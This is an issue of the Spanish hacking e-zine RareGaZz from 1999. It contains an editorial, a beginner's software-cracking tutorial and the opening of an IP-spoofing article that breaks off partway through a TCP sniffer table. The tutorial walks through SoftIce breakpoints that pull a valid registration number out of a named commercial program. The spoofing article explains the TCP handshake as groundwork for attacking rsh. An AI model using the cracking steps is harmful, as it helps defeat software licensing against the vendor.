Copy Link
Add to Bookmark
Report

RareGaZz Issue 16

eZine's profile picture
Published in 
RareGaZz
 · 30 Dec 2020
Lector
Pin it
Lector

  



[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]

oOo - Tercera Epoca / Numero 16 - oOo

ooooooo oo ooooooo oooooo ooooo oo oooooo oooooo
$$""$$" o$"$$ $$""$$" $$ o$$""o, o$"$$ """$$ """$$
$$o$$" $$ $$ $$o$$" $$$$$$ $$ $$ $$ $$ $$ $$
$$$$$ $$ $$ $$$$$ $$"""" "$o $$ $$ $$ $$" $$"
$$"
$$ $$$$$$$ $$" $$ $$ "$o $$ $$$$$$$ o$" o$"
$$ "$$ $$ $$ $$ "$$ $$ooooo "$o$$ $$ $$ o$$oooo o$$oooo
"" """
"" "" "" """ """"""" "" "" "" """"""" """""""
Septiembre 1999

[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]


>> RareGaZz Team <<

GuyBrush [guybrush@cyberdude.com]
Cytorax [cytorax@bigfoot.com]
PaTa [pata666@bigfoot.com]
Senpai [senpai@cyberdude.com]
Yo_Soy [varf@bigfoot.com]
enan0 [ditiemef@iname.com]
Aj0 [ajo@thepentagon.com]

-=-

Sitio Web: RareGaZz.acapulco.uagro.mx
E-mail: RareGaZz@iname.com

-=-

Colaboradores en este numero:

Antikton - ReYDeS - The BroliWarrior - PiErCinG
Armand VanHell - Edmon Dantes


[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]


Contenido

-==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==-

Titulo Autor Tema
~~~~~~ ~~~~~ ~~~~
00. Indice .......................... Rare-Team ................ RareGaZz
01. Editorial ....................... Rare-Team ................ RareGaZz
02. Manual de cracking .............. Antikton ................. Cracking
03. IP-Spoofing ..................... GuyBrush ................. Hacking
04. Mi primera vez .................. ReYDeS ................... Historia
05. Reprogramacion de las centralitas de la Policia Nacional Espa¤ola ....
............................ Edmon Dantes.............. Phreaking
06. Proyecto Neptuno (Flood TCP SYN). PiErCinG ................. Hacking
07. A ver que co¤o sun hacker? ...... The Buscon of Astalavista. Humor
08. Bugs y Exploits ................. PaTa ..................... Seguridad
09. Snow Box ........................ enan0 .................... Tv-Hack
10. Irc por telnet (2a. Parte) ...... Senpai ................... Irc
11. Pandemonium ..................... Rare-Team ................ RareGaZz
12. Introduccion a los cartuchos de GameBoy ..............................
............................ Aj0 ...................... Electronica
13. Chaping v.2.5 ................... Armand VanHell ........... Phreaking
14. Noticias ........................ PaTa ..................... Actualidad
15. Correo del lector ............... Rare-Team ................ Lectores
16. Phrack Extraction Utility ....... Phrack Magazine........... Extractor
17. Llaves PGP ...................... Rare-Team ................ RareGaZz
18. Despedida ....................... Rare-Team ................ RareGaZz

-==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==ÄÄ==-


"ATDT 900354154" Ring, Ring, Ring, Ring .....
Despacho del Ministro de trabajo, digame ....


01010101010101010101010101010101010101010101010101010101010101010101010
10 01
01 #!/bin/RareGaZzsh 10
10 # La informacion contenida en este zine tiene fines completamente 01
01 # de entretenimiento y educativos, los autores de la informacion 10
10 # aqui presentada no se hacen responsables de los posibles da¤os 01
01 # que se puedan ocasionar...... 10
01 # El grupo RareGaZz no se responsabiliza de la opinion o de los 10
10 # contenidos de los articulos firmados. 01
01 10
10101010101010101010101010101010101010101010101010101010101010101010101


-= RareGaZz =- 1996-1999, Derechos Reservados




----- { R16_01 } -----------------------------------------------------------

--------- { EDITORIAL } ------------------------------------------------------

--- { Rare-Team }


Saludos, de nuevo volvemos a estar con todos vosotros con un nuevo
numero de nuestra ezine. Esta vez hemos tardado un poco mas que de costumbre,
pero como se suele decir, mas vale tarde que nunca. Ademas hemos regresado con
mas ganas de luchar que nunca.

Coincidiendo con este ezine estrenamos nuevos cambios en nuestra web
ya que hemos sopesado las secciones que habia, y las que realmente eran utiles
por lo que hemos optado por suprimir alguna, para hacer una web mas fluida y
util. Si las cosas no se tuercen, dentro de poco se veran nuevas sorpresas
interesantes en nuestra web, por lo que permanecer atentos.

Ademas de los cambios en la web, hemos modificado el dise¤o del ezine,
como habreis apreciado, usando un unico archivo por texto. De esta forma
podreis localizar los articulos mas comodamente. Ademas, volvemos a cambiar la
llave PGP de RareeGaZz y la de algunos miembros, asi que actualiza tu llavero.
Las llaves las podreis encontrar en este ezine y tambien en nuestra pagina web.
Ademas, hemos incluido el extractor de ficheros de la Phrack, para poder
obtener los ficheros de una forma mas rapida y comoda.

Siguiendo con las novedades deciros que hemos inagurado una nueva
seccion en el ezine llamda Pandemonium, que sera usada por el Team, para hacer
propuestas o simplemente para comentar diferentes cuestiones.

Nuestra lista de correo que esta abierta a todo el mundo, y que tiene
ya 500 subscriptores tambien esta sujeta a cambios, no podia ser menos,
deciros que a partir de ahora va a estar moderada. Nuestra intencion es subir
el nivel y evitar aquellos mails que no tienen ninguna relacion con nuestro
proposito. Mas informacion de como suscribirse de las normas en la seccion
Pandemonium.

Nuesta direccion de correo no ha cambiado, sigue siendo la de siempre,
raregazz@iname.com, pero os rogariamos que nos envieis los mails usando PGP.

Tambien queria agradecer a todos nuestros lectores por seguir apoyan-
donos. A pesar de que estuvimos practicamente inactivos desde Noviembre hemos
tenido una media de 100 visitas diarias en nuestra web.

Y por ultimo, hemos de aclarar que RareGaZz tiene sus origenes en
Mexico y en un principio todos los miembros eran mexicanos, pero hoy en dia
son todos en su mayoria espa¤oles, aunque tambien contamos con miembros de
otros paises como Mexico y Uruguay.

Y esperando que este nuevo ezine sea de vuestro agrado nos despedimos
hasta el proximo.


{ Rare-Team }





---- { R16_02 } --------------------------------------------------------------

-------- { LA GUIA PERFECTA PARA COMENZAR A CRACKEAR } -----------------------

--- { ANTIKTON }


INDICE
------

0. NOTA DEL AUTOR.
1. GUIA DE ENSAMBLADOR (ASM) ENFOCADA AL CRACKING.
2. CONFIGURACION Y USO DE SOFTICE.
3. NUESTRO PRIMER CRACKING.
4. URLs.
5. CIERRE DE EDICION.

--------------------
| 0. NOTA DEL AUTOR. |
-------------------- -------------------------------------------------------
Hiz, soy Antikton y voy a intentar explicaros como se crackea; pero antes
voy a dejar unos puntos claros:

1.- Si no tienes ni puta idea de lo que es crackear, mejor que dejes de
leer este fichero y lo borres.

2.- Si sabes lo que es pero no tienes ni puta idea de programacion (lo
que se dice nada de nada) y crees que vas a poder estar crackeando
programas comerciales en unos minutos, gilipollas!!! tu te crees que esto
es coser y cantar???

3.- Perdonad si me equivoco al escribir o solo pongo los signos al final
(como los ingleses) pero es la economizacion del lenguaje.

4.- Si tienes unos poquillos conocimientos de programacion y te gustaria
crackear, te felicito porque has dado con el manual adecuado (digo yo)
pero necesitaras dos o tres meses para empezar a crackear tu solito :)

5.- NOTA: Este documento con la informacion que en el aparece, es solo
para uso de aprendizaje. El autor no se hace responsable de lo que la
gente haga con ello. ;)

6.- Bueno, comenzemos a crackear X)

El articulo esta enfocado en crackear programas para Windows 95/98 de
esos que piden un password o que piden un nombre y un codigo ( o sea, la
mayoria :)

-------------------------------------------
| 1. GUIA DE ASEMBLER ENFOCADA AL CRACKING. |
------------------------------------------- --------------------------------
Antes de nada, si no sabes lo que es ASM o lo que es un Looping o un
FOR...NEXT, etc. te recomiendo que dejes de leer este manual ya que no tienes
el nivel suficente para leerlo :P

REGISTROS (Registers)
---------------------
Los registros son basicamente sitios por defecto en donde se guardan datos.
Los unicos por los que os teneis que preocupar son: (E)AX, (E)BX, (E)CX y
(E)DX. (La (E) solo es para cuando se debuguea en codigo de 32 bit)
Tambien estan los registros de parejas:
DS:SI ; pueden ser usados como fuente (origen) para operaciones de
cadenas.
ES:DI ; usado como el destino para las operaciones de cadenas.

Entender los registros no es muy importante para crackear, pero lo que si
tienes que saber es que son variables para el almacenamiento de datos :)

FLAGS
-----
Los Flags son esencialmente como los registros excepto que los Flags solo
pueden contener valores especificos, como verdadero o falso (1 o 0), etc.
Los flags son calculados por comandos como CMP y son usados para comprobar
el resultado de una llamada (CALL), por ejemplo:
CMP AX,BX ; compara AX con BX, si son iguales el Flag 0 cambia
JZ 00124531 ; si el flag 0 ha cambiado, salta a 00124531, si no
continua

LA PILA (STACK) Y LOS PUSH AND POP (PONER Y QUITAR)
---------------------------------------------------
Antes de cualquier funcion de llamada (a partir de ahora CALL), un programa
debe PONER (a partir de ahora de diremos PUSH) unos parametros que la funcion
espera encontrar en la pila (tecnicamente llamado Stack). Los datos se colocan
de una manera especial. Piensa lo siguiente. Piensalo como si fuera una "pila"
(stack) de platos, el primer plato que ponemos (al hacer un monton) se queda
abajo y sera el ultimo en coger; y el ultimo en poner (el de arriba), es el
primero en coger.
Recuerda esto cuando estes sobre una CALL, los parametros son cogidos en orden
inverso. Te pongo un ejemplo para que te quede claro:
La funcion API de Windows GetDlgItemTextA requiere los siguientes
parametros:
(1) Manejo de la ventana de dialogo (Handle Dialgo Box)
(2) Identificador del Control
(3) Direccion del Buffer del Texto
(4) Tama¤o maximo de la cadena
Por tanto, esto puede ser pasado de este modo (de forma inversa, para
luego cogerlo ordenadamente):
MOV EDI,[ESP+00000220] ; Coge en EDI el Handle Dialog Box
PUSH 00000100 ; PUSH (4) - Tama¤o maximo de la cadena
PUSH 00406130 ; PUSH (3) - Direccion buffer de texto
PUSH 00000405 ; PUSH (2) - Identificador de Control
PUSH EDI ; PUSH (1) - Handle Dialog Box
CALL GetWindowText ; Llama (CALL) a la funcion GetWin...

Facil, no? esto sera importantea la hora de crackear aplicaciones que piden
numeros de serie.
Si conocemos la direccion del buffer para nuestro numero de serie (es decir,
donde se encuentra almacenado el numero que le hemos metido en la memoria),
en este caso 00406130, solo hay que hacer un breakpoint y normalmente
terminaremos alrededor del procedimiento que genera el numero de serie bueno.

POP se usa para borrar el primer "plato" de la pila. Normalmente, despues de
hacer uns PUSH y haber una llamada, se colocan varios POP para borrar los
datos innecesarios.

AND
---
- Uso: AND dest, orig
- Fin: Lleva a cabo una operacion de tipo AND de las dos entradas,
reemplazando el dest con el resultado.
- Ejemplo: AND BX, 03h
No hay mucho que decir. Esto es importante para cuando necesitemos hacer
un generador de numeros de serie para un programa :)

CALL (Llamada)
--------------
- Uso: CALL address (direccion)
- Fin: Ejecuta una funcion en la direccion "address"
- Ejemplo: CALL 10284312
Una vez que la funcion termine, el codigo continua en la linea siguiente
de CALL (es como un GOSUB)

CMP
---
- Uso: CMP dest, orig
- Fin: Resta el orig del dest y actualiza en Flag
- Ejemplo: CMP AX, 03h
Esta instruccion es muy importante para nosotros (los crackers) :)
Esta colocado muchas veces en el programa para verificar algo; por ejemplo
que el numero de serie que introducimos es el mismo que el que tiene el
programa o genera ;)

INT (Interrupcion)
------------------
- Uso: INT interrupcion
- Fin: Llama a una funcion general (normalmente de la BIOS)
- Ejemplo: INT 10h
Esta funcion es muy comun en programas de DOS, pero no lo veremos mucho
ya que me voy a dedicar (como he dicho antes) al Cracking en W95.
Normalmente los parametros son guardados en los registros por defecto (AX,
BX, CX, ...)

JMP (Salto)
-----------
- Uso: JMP direccion
- Fin: Equivale a un GOTO. Salta a la seccion de codigo de la direccion.
- Ejemplo: JMP 00402011
JMP es un salto incondicional. Tan simple como un GOTO :)
Hay muchas variantes. Las mas importantes son:
JZ o JE - Salta si el Flag 0 es cambiado
JNZ o JNE - Salta si el Falg 0 no es modificado
Normalmente estan despues de uns intruccion de CMP, por ejemplo:
CMP numseriebueno, numseriemalo ; compara los num. de serie
JNE fueradeaki ; si no son iguales, salta a otra
parte del codigo

MOV (Mover)
-----------
- Uso: MOV dest, orig
- Fin: Copia el byte o el valor de la palabra desde el orig al dest
- Ejemplo: MOV AX, DX
Lo veras muy a menudo cuando estes stepping (ejecutando linea por linea.
una cosa, a lo mejor me confundo y lo llamo stepting o steping, pero me
refiero a esto, pa cuando lo veais).
MOV es como si fuera LET dest=orig
Hay algunas variantes como MOVSX, pero es raro.

RET (Retorno)
-------------
- Uso: RET
- Fin: Para volver de una funcion (Como si fuera RETURN)
- Ejemplo: RET
Normalmente lo veras el final de una funcion, y solo dice que vuelva a
la direccion de la llamada (CALL) para continuar.

LEA (Como LET)
--------------
- Uso: LEA dest, orig
- Fin: Hace que el dest sea igual que el orig
- Ejemplo: LEA EAX, [EBP-34]
Hace que EAX=EBP-34, facil, no?

------------------------------------
| 2. CONFIGURACION Y USO DE SOFTICE. |
------------------------------------ ---------------------------------------
Contenido:
2.1. Configuracion de SoftIce
2.2. Uso y teclas de SofIce
2.3. Comandos importantes para el Cracking

2.1. CONFIGURACION DE SOFTICE
-----------------------------
Para comenzar a usar SoftIce para Windows 95 (gracias a NuMega), tenemos que
ver si se cargan las librerias; para ello comprueba que el fichero WINICE.DAT
en el apartado "Examples of export symbols that can be included for Chicago"
no tengan delante el punto y coma, y verifica que las rutas de los ficheros
a tu windows sean correctas.
Si quieres tener menos memoria ocupada, quita los puntos y comas solo a
KERNEL32.DLL, USER32.DLL y GDI32.DLL que son los mas importantes.
Logicamente tendras que reiniciar el ordenador y volver a cargar SoftIce.

2.2. USO Y TECLAS DE SOFTICE
----------------------------
La pantalla de SoftIce es parecida a la siguiente (por lo menos en la ver. 2,
porque la v3.2 cambia):
-------------------
| Ventana Registros | R - editar ; Aqui estan los valores de los registros
|-------------------|
| Ventana Datos | D - ver E - editar ; Es donde vemos la memoria
|-------------------| hex. y dec. y la direccion
| Ventana Codigo | U - ver A - Inserta ; Vemos el codigo en ASM
|-------------------| conforme se va ejecutando
| Ventana Comandos | ; Aqui pondremos los comandos
-------------------
Otras teclas importantes son:
F5 / Ctrl+D -> Ejecuta
F10 -> Paso a Paso
F11 -> Funcion en Funcion
t -> traza una llamada

2.3. COMANDOS PARA EL CRACKING
------------------------------
Bueno, para explicar los comandos que mas usaremos (que son muy pocos) voy a
deciros el proceso generico para el cracking de un programa.
Bien, resulta que cuando a un programa le damos a la opcion del menu REGISTER
(aparece en muchos programas), sale una ventana que nos pide, por ejemplo, el
nombre y el codigo.
Pues nuestra tarea sera interceptar el lugar en donde el programa compara
nuestro codigo con el generado por el mismo para comprobar si es correcto o
erroneo.
Facil, eh? pues si, los programas sencillos si.
Primera pregunta, ¨como interceptar cuando el programa recoge dichos datos?
Para ello hay que colocar un BreakPoint.
Un BP sirve para detener el programa y ver el codigo ASM en la funcion que
nosotros le digamos.
Por ejemplo que se detenga cuando recoga el codigo que introducimos.
Las dos funciones mas usadas para recoger las cadenas que introducimos son:
GetDlgItemTextA y GetWindowTextA

Bueno, para ver como se usa y como se crackea (que es el tema que nos ocupa)
pasemos al siguiente apartado.

-----------------------------
| 3. NUESTRO PRIMER CRACKING. | (from ED!SON tutorial)
----------------------------- ----------------------------------------------
Antes de arrancar W95 o W98, tenemos que arrancar en DOS y ejecutar WINICE
el cual se encargara de arrancar el Windows.

3.1. PROTECCION POR NUMERO
--------------------------
- Target: Task Lock 3.00
- Protection Type: Una simple proteccion de introduzca un numero
- Tool Needed: SoftIce 2.0 o sup.

* PASO 1: Ejecutar el programa TaskLock ;)
* PASO 2: Buscar la opcion REGISTER. Introducir un numero al azar y pulsar OK.
* PASO 3: Ohh! no es correcto :( (todavia) ;)
* PASO 4: Volver a poner un numero y antes de pulsar Ok hay que colocar un
BreakPoint (BP)
Para ello pasaremos a SoftIce pulsando Ctrl+D y pondremos:
BPX GetWindowTextA
pulsamos ENTER y saldremos de SoftIce pulsando de nuevo Ctrl+D
y ahora si,
pulsamos OK y...
:(
* PASO 5: ein! otra vez ese estupido mensaje de numero incorrecto !!!
Bueno, esta claro que la funcion que usa para coger el numero no
es GetWindowTextA
Bueno, ponemos otra vez el numerito y pulsamos de nuevo Ctrl+D
Ahora borraremos el BrakPoint de antes que no vale para nada con
el comando
BC 0 (es 0 porque es el primero. Si tuvieramos varios BP,
podriamos listarlos con BL y ver el numero que es, en nuestro caso,
con BL pondria 00) BPX USER32!GetWindowsTextA C=01
Bueno, ahora probaremos con
BPX GetDlgItemTextA
damos a enter y salimos (Ctrl+D)
pulsamos OK y...
:)
* PASO 6: Bingo!!! ahora estamos dentro de SoftIce :)
Estamos al comienzo de la funcion GetDlgItemTextA, pero para ver
desde donde es llamada pulsamos
F11
Ahora debes desconectar el BP, pon
bd 0 (si necesitas activarlo despues, que no lo necesitaremos
es be 0)
* PASO 7: La primera linea que aparece es:
CALL [USER32!GetDlgItemTextA]
Pero que hay antes??
Para ello pulsaremos unas cuantas veces CTRL+flechaarriba hasta ver
lo siguiente:

RET ; final de la func. anterior
PUSH EBP ; comienzo de la funcion
MOV EBP, ESP ; ...
SUB ESP, 0000009C ; ...
PUSH ESI ; ...
> LEA EAX, [EBP-34] ; EAX=EBP-34
PUSH EDI ; ...
MOVE ESI, ECX ; ...
PUSH 32 ; Guarda: la long. max.
> PUSH EAX ; Guarda: direccion del buffer :)
PUSH 000003F4 ; Guarda: ...
PUSH DWORD PTR [ESI+1C] ; Guarda: ...
CALL [USER32!GetDlgItemTextA] ; coge el texto y comienza la func.

Los PUSH, como dije, son para guardar valores para su uso posterior :)
Las lineas importantes les he puesto un > delante; observemoslas.
Vemos que el buffer de texto se guarda en EAX y cuanto vale EAX?
EAX=EBP-34
Bien, ahora ponemos d ebp-34 para ver la memoria en ese valor.
Jeje, vemos en la ventana de Datos el numero que hemos puesto :)

*PASO 8: Ahora, lo que hay que hacer es buscar donde se hace la comparacion
entre nuestro codigo y el codigo bueno. Para ello hay que ir paso por
paso de instrucciones pulsando F10 hasta encontrar algo relacionado
con EBP-34 (que es en donde esta nuestro numero). Tras unos pocos F10
nos encontramos lo siguiente:

> LEA EAX, [EBP+FFFFFF64] ; EAX=EBP-9C
LEA ECX, [EBP-34] ; ECX=EBP-34 (Ahora nuestro numero
PUSH EAX ; Guarda EAX. esta en ECX)
PUSH ECX ; Guarda ECX
> CALL 00403DD0 ; Llama a una funcion
ADD ESP, 08 ; ...
TEST EAX, EAX ; Chequea el resultado de la funcion
JNZ 00402BC0 ; Salta si no es 0

Yo veo claramente como se recoge una variable en EAX, otra en ECX
(nuestro numero), se llama a una funcion ( que suponemos que es la
que genera el numero bueno) y despues es comparada.

Bien, entonces ¨que se esconde bajo EAX (EBP+FFFFFF64) ? pues si, el
numero correcto. Ponemos
D EAX
y aparecera el numerito en la ventana de Datos ;)
Ahora lo que tenemos que hacer es ponerle dicho numerito en el
programa cuando lo pida y ya esta :)

----------
| 4. URLs. |
---------- -----------------------------------------------------------------
Tengo que decir que dentro de poco hare un hueco en internet para ayudaros
a los problemillas que tengais.
La URL sera http://members.tripod.com/~antikton/cracking/

Bueno, ahora os pongo las URLs de los programas que he usado:
- SoftIce: Busca en http://astalavista.box.sk
o dentro de poco en mi pagina web.
- TaskLock: Busca en http://www.filez.com
o en otro buscador de FTP
o dentro de poco en mi web.

-----------------------
| 5. CIERRE DE EDICION. |
----------------------- ----------------------------------------------------
Bueno, en esta articulo hemos aprendido asembler (enfocado al cracking),
el manejo de SoftIce y a crackear un programa basado en proteccion por
numero. No esta mal para ser el primer numero, pero ya iremos progresando poco
a poco y a ver si alguien me echa una mano (antikton@rocketmail.com)

Si no habeis entendido algo (porque no me haya expresado bien) o necesitais
cualquier cosa, o teneis una sugerencia o lo que sea (dar animos para que
saquemos el siguiente numero, si no, no lo saco), hazmelo saber mandandome
un e-mail a

antikton@iname.com

byez ;)

Web : http://come.to/antikton
e-mail: antikton@iname.com




---- { R16_03 } --------------------------------------------------------------

-------- { Ip-Spoofing } -----------------------------------------------------

--- { GuyBrush }


00.Introduccion
~~~~~~~~~~~~
El IP-spoofing es un ataque que requiere una serie de conocimientos tecnicos
indispensables para la comprension del mismo. Existen muchos programas por la
red que nos permiten hacer este u otros ataques derivados tales como el
hijacking. Con este articulo pretendo dar a conocer el funcionamiento del
mismo para una mejor comprension de esta tecnica.


01.Composicion de un paquete TCP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Antes de pasar a explicar lo que es el IP-spoofing es necesario conocer y
entender el contenido de un paquete TCP. Esta compuesto por muchos campos
pero nosotros vamos a centrarnos en los que mas nos interesan que son:

las direcciones fuente y destino y puertos de conexion:

IP origen ==> direccion IP del que envia el paquete
IP destino ==> direccion IP del que va a recibir el paquete
Puerto fuente ==> puerto usado por el que realiza en envio
Puerto destino ==> puerto a donde va dirigido el paquete

los numeros de secuencia de los paquetes:

SEQ ==> numero de secuencia del paquete
ACK_SEQ ==> numero de acuse de recibo

y los flags:

SYN ==> peticion de conexion
ACK ==> autentificacion de un paquete
PSH ==> (PUSH) pasar los datos a la aplicacion
RST ==> (RESET) cortar la comunicacion
FIN ==> cierre de conexion
URG ==> paquete urgente


02.Establecimiento de la conexion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Una de las cosas mas importantes de la comunicacion en una red es como se
realizan las conexiones. Internet es como una gran autopista donde circulan
infinidad de paquetes en todos los sentidos y direcciones. Pero, cuando a un
host le llega un paquete, que hace con el?, como sabe para que se le ha
enviado ese paquete?

Para establecer una comunicacion entre dos host primero se debe realizar una
conexion en la que ambos se identifiquen segun unas determinadas reglas. Para
ello se realiza lo que se conoce como los tres saludos (o saludo en las tres
direcciones) usando los flags SYN y ACK de la siguiente forma:

ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³ HOST A ³ Direccion ³ HOST B ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ACK ³ --------> ³ ³
ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ

El host A le envia al host B un paquete TCP sin datos pero con el bit SYN a 1
El host B le responde al host A con los bits SYN y ACK a 1 y, por ultimo, el
host A le envia al host B un tercer paquete con el bit ACK a 1.

Pero esto no es tan sencillo como parece. Hemos dejado lo mas importante, que
son los numeros de secuencia. Al realizar los tres saludos los numeros
quedarian de la siguiente forma:

ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³ HOST A ³ Direccion ³ HOST B ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SEQ=x ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SEQ=y ³
³ ³ ³ ACK=x+1 ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SEQ=x+1 ³ --------> ³ ³
³ ACK=y+1 ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ

donde 'x' es un numero aleatorio de secuencia que escoge el host A e 'y' es
un numero aleatorio de secuencia que escoge el host B. Lo importante de la
identificacion de los paquetes es que el host B le responda al A con ACK
igual al numero de secuencia del host A mas 1, previniendo cual sera el
proximo valor del SEQ del host A; y que luego el host A le responda al B con
SEQ igual a un numero de secuencia mas del que tenia antes (tal y como
preveia el host B) y con ACK igual a un numero de secuencia mayor del que
tenia el host B.


03.Mantenimiento de la comunicacion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Una vez realizada la conexion, el host A ya puede enviarle al host B los
datos, con lo cual el host B, respondera con ACK a todos los paquetes para
indicarle al host A que los recibio correctamente. Del mismo modo, cuando el
host B le envie al host A los datos solicitados, este le respondera con otro
ACK.

Mas adelante veremos un ejemplo practico que nos ayudara a entenderlo mejor.


04.Cierre de la conexion
~~~~~~~~~~~~~~~~~~~~~
Una vez terminada la transmision de datos, el host A debe indicarle al host
B que ya no quiere nada mas y que desea finalizar la conexion. Para ello le
enviara otro paquete de datos con los bits FIN y ACK a 1, tras lo cual el
host B le respondera con un ACK y finalizara la conexion.

ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿
³ HOST A ³ Direccion ³ HOST B ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´
³ ³ ³ ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´
³ FIN+ACK ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ ACK ³
ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ


05.Ejemplo practico de una conexion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vamos a ver un ejemplo real de una conexion al puerto 514 (remote shell) el
cual ha sido monitorizado con un sniffer:

ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Paso³ HOST A ³ Direccion ³ HOST B ³ Datos ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 1 ³ SYN ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 2 ³ ³ <-------- ³ SYN+ACK ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 3 ³ ACK ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 4 ³ ACK+PSH ³ --------> ³ ³ 'guest adm ls' ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 5 ³ ³ <-------- ³ ACK ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 6 ³ ³ <-------- ³ ACK+PSH ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 7 ³ ³ <-------- ³ ACK+PSH+FIN ³ (resultado del ls) ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 8 ³ ACK ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 9 ³ ACK+FIN ³ --------> ³ ³ ³
